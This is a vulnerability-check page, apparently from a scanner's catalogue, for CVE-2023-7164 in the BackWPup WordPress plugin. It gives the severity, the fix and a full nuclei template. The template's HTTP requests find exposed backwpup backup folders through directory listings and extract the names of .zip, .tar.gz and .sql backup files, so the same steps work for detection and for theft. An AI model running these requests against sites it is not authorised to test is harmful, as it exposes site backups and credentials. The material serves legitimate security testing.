WordPress BackWPup < 4.0.4 - Backup File Disclosure

highseverity

7.5CVSS score

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

BackWPup WordPress plugin < 4.0.4 contains a directory listing vulnerability caused by lack of access restrictions in its temporary backup folder, letting unauthenticated attackers download site backups, exploit requires no authentication.

Impact

Unauthenticated attackers can download site backups, potentially leading to data theft or further exploitation.

Fix

Update to version 4.0.4 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/uploads/ ; GET {{BaseURL}}/blog/wp-content/uploads/ ; GET {{BaseURL}}/wordpress/wp-content/uploads/ ; GET {{BaseURL}}/wp/wp-content/uploads/
Positive when: status_code == 200 or contains(body, "Index of") or regex("backwpup-[a-f0-9]{6}-(backups|temp)", body)
Send: GET {{BaseURL}}/wp-content/uploads/{{backupfolder}}/
Positive when: matches /[\w\-\.]+\.(tar\.gz|tar|zip|sql)/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-7164 -u <target>

The full check

id: CVE-2023-7164

info:
  name: WordPress BackWPup < 4.0.4 - Backup File Disclosure
  author: 0x_Akoko
  severity: high
  description: |
    BackWPup WordPress plugin < 4.0.4 contains a directory listing vulnerability caused by lack of access restrictions in its temporary backup folder, letting unauthenticated attackers download site backups, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can download site backups, potentially leading to data theft or further exploitation.
  remediation: |
    Update to version 4.0.4 or later.
  reference:
    - https://wpscan.com/vulnerability/79b07f37-2c6b-4846-bb28-91a1e5bf112e/
    - https://research.cleantalk.org/cve-2023-7164/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-7164
    cwe-id: CWE-200
    epss-score: 0.02242
    epss-percentile: 0.82994
    cpe: cpe:2.3:a:inpsyde:backwpup:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 8
    fofa-query: body="/wp-content/plugins/backwpup/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,backwpup,exposure,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/"
      - "{{BaseURL}}/blog/wp-content/uploads/"
      - "{{BaseURL}}/wordpress/wp-content/uploads/"
      - "{{BaseURL}}/wp/wp-content/uploads/"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Index of")'
          - 'regex("backwpup-[a-f0-9]{6}-(backups|temp)", body)'
        internal: true

    extractors:
      - type: regex
        name: backupfolder
        part: body
        regex:
          - 'backwpup-[a-f0-9]{6}-(backups|temp)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/{{backupfolder}}/"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '[\w\-\.]+\.(tar\.gz|tar|zip|sql)'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: filename
        part: body
        regex:
          - '[\w\-\.]+\.(tar\.gz|tar|zip|sql)'

References

Use this check only on systems you are authorised to test. Where the data comes from